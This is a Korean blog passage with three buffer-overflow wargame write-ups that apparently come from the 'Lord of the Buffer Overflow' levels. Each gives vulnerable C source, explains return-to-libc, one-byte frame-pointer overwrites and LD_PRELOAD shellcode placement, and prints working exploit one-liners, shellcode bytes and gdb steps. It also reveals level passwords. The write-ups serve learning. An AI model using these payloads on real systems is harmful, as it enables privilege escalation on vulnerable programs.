2011. 6. 8. 23:41

⊙ 문제의 소스를 보자)

#include <stdio.h>

#include <stdlib.h>

   

main(int argc, char *argv[])

{

char buffer[40];

int i;

   

if(argc < 2){

printf("argv error\n");

exit(0);

}

   

if(argv[1][47] == '\xbf')

{

printf("stack betrayed you!!\n");

exit(0);

}

   

strcpy(buffer, argv[1]);

printf("%s\n", buffer);

}


   

   

♧ RET이 "\xbf"로 시작 할 수 없다. 즉, RET을 스택영역으로 둘 수 없다.

그렇기 때문에 RTL(Return-into-Libc) 기법을 통한 문제를 문제를 풀도록 하자.

(*자세한 내용은 밑에 참조 문서를 참고 하도록 하자.)

ⓐ 공유 라이브러리의 함수의 위치는 정해져 있다. 시스템마다 위치가 다르기는 하지만

한번 위치가 알려지면 재컴파일되기 전까지는 위치가 같다.

ⓑ 쉘코드를 사용하는 대신에 RET지점에 라이브러리 함수( system(), exit(), "/bin/sh")같은

위치값을 넣어주면 그 함수로 점프하게 된다.

ⓒ 스택에서 함수 호출은 다음과 같은 모양이다.

함수 주소

리턴 주소

인자 1

인자 2

인자 3

ⓓ 간단한 구성은 다음 그림과 같다.


참조 문서

   

   

∑ 익스 플로잇 작성!

① 필요한 함수와 인자의 주소(system, exit, "/bin/sh")를 구해 보자.

* 공유라이브러리는 항상 메모리에 상주 함으로 권한이 있는 아무런 프로그램을 GDB실행하여
print <함수 이름>로 찾으면 된다.

ⓐ system(), exit() 주소 찾기.

ⓑ "/bin/sh" 인자로 쓰일 문자열 찾기.

#include <stdio.h>
int main(int argc, char **argv)
{
long shell;
shell =
0x40058ae0; // system()함수의 주소
while(memcmp((void*)shell,"/bin/sh",8)) shell++;
printf("\"/bin/sh\" is at [ %#x ]\n",shell);
}

   

② 공격 스크립트 작성

system :: [ 0x40058ae0 ]

exit :: [ 0x400391e0 ]

"/bin/sh" :: [ 0x400fbff9 ]

$(python -c 'print "A"*44 + "\xe0\x8a\x05\x40" + "\xe0\x91\x03\x40" + "\xf9\xbf\x0f\x40"')

   

③ ∑xploit

성공!!!

*exit() 주소 대신 아무런 가비지값을 넣어도 없지만 세그먼트 에러가 발생한다.

※ 사전에 chsh명령 -> bash2로 변경 후 재로그인 함

darkknight : "new attacker"

Posted by devanix
2011. 6. 8. 20:47

⊙ 문제의 소스를 보자)

#include <stdio.h>

#include <stdlib.h>

   

void problem_child(char *src)

{

char buffer[40];

strncpy(buffer, src, 41);

printf("%s\n", buffer);

}

   

main(int argc, char *argv[])

{

if(argc<2){

printf("argv error\n");

exit(0);

}

   

problem_child(argv[1]);

}


   

♧ 이번 문제는 RET이 아닌 SFP의 1Byte를 변조하여 프로그램의 실행 흐름을 바꾸는 문제이다.

(자세한 내용은 [ 참조 1 ] [ 참조 2 ] 에서 보도록 하자)

① main에서 problem_child() 호출
② probelm_child에서 strncpy(buffer, src, 41)를 통해 SFP를 1Byte만 변조 한다.

(*strncpy 호출 후 스택 내용)

③ problem_child의 프레임에 leave 명령을 통해

mov ebp, esp

pop ebp

SFP가 있는 곳으로 이동 후 변조된 ebp값을 pop 함으로써 main()의 ebp값은 변조된 ebp값으로 저장.

④ child 프레임의 RET을 통해 다시 main 프레임으로 복귀.

⑤ main 프레임의 leave가 수행된다.

5-1) mov ebp, esp에 의해 변경 되어 버린 ebp로 esp가 이동.

5-2) pop ebp에 의해 esp는 4Byte가 증가하게 된다.

(esp+4의 위치는 RET의 위치이다.)

마지막으로 ret 명령으로, eip 는 esp를 참조해서 다음 실행할 주소로 점프 한다.

   

♧이렇듯 1Byte의 변조만으로 실행흐름이 바뀔 수 있다.


   

∑ 익스 플로잇 작성!

① 대략적인 구성. ( buffer 주소 :: [ 0xffffac4 ] 위 그림 참조.)

   

② 공격 스크립트 작성

$(python -c 'print "\xcc\xfa\xff\xbf"*2 + "\x90"*15 + "\x68\xf9\xbf\x0f\x40\x68\xe0\x91\x03\x40\xb8\xe0\x8a\x05\x40\x50\xc3" + "\xc4"')

   

③ ∑xploit

성공!!!


  

※ 사전에 chsh명령 -> bash2로 변경 후 재로그인 함.

golem : "cup of coffee"

Posted by devanix
2011. 6. 8. 03:14

⊙ 문제의 소스를 보자)

#include <stdio.h>

#include <stdlib.h>

   

extern char **environ;

   

main(int argc, char *argv[])

{

char buffer[40];

int i;

   

if(argc < 2){

printf("argv error\n");

exit(0);

}

   

if(argv[1][47] != '\xbf')

{

printf("stack is still your friend.\n");

exit(0);

}

   

strcpy(buffer, argv[1]);

printf("%s\n", buffer);

   

// stack destroyer!

memset(buffer, 0, 44);

memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48));

}


1) if문으로 argv[1][47] != '\xbf' 체크.
2) [ RET ]을 제외한 buffer의 시작주소부터 0xbfffffff 까지 모두 초기화.

   

♧ buffer의 주소 밑. 즉, 스택의 아래 쪽에 쉘코드를 삽입해야 하는데

공유 라이브러리를 생성 후 LD_PRELOAD 환경 변수를 이용 한다.
(아래 내용을 참조 하자.) [ 참조1 ] [ 참조2 ]

   


   

♧ 공유 라이브러리 이름을 쉘코드로 하여 LD_PRELOAD 등록 후 스택 찌꺼기?에 남아있는 곳을 찾아 RET으로 설정한다.

∑ 익스 플로잇 작성!

① 공유 라이브러리 생성

# echo "void attack(){}" | cat > attack.c

# gcc attack.c -fPIC -shared -o $(python -c 'print "\x90"*120 + "\x68\xf9\xbf\x0f\x40\x68\xe0\x91\x03\x40\xb8\xe0\x8a\x05\x40\x50\xc3"')

② LD_PRELOAD 환경변수 등록

export LD_PRELOAD="$(pwd)/$(python -c 'print "\x90"*120 + "\x68\xf9\xbf\x0f\x40\x68\xe0\x91\x03\x40\xb8\xe0\x8a\x05\x40\x50\xc3"')"

③ GDB로 RET 주소 찾기. (사본::cp golem melog)

# gdb -q melog

# b *main+166

# r $(python -c 'print "\xbf"*48')

# x/50xw $ebp - 3000

대략 $ebp - 3000 지점 부터 내려오다 보면 "\x90" 보인다 중간 지점으로 RET 설정하자.

:: $(python -c 'print "\x10\xf6\xff\xbf"*12')

④ ∑xploit

성공 !!!

  


   

   

♣ 기타 사항

ⓐ LD_PRELOAD로 등록 후 원본(golem)과 사본(melog)의 libc주소가 서로 틀려 졌다.

ⓑ 그리하여 RTL을 이용 하여 만든 쉘코드는 원본(golem)에 적용되었다.

(이유는 잘 모르겠다 좀더 시간 내서 공부를 해야 될듯...-_)


 

   

golem : "cup of coffee"

Posted by devanix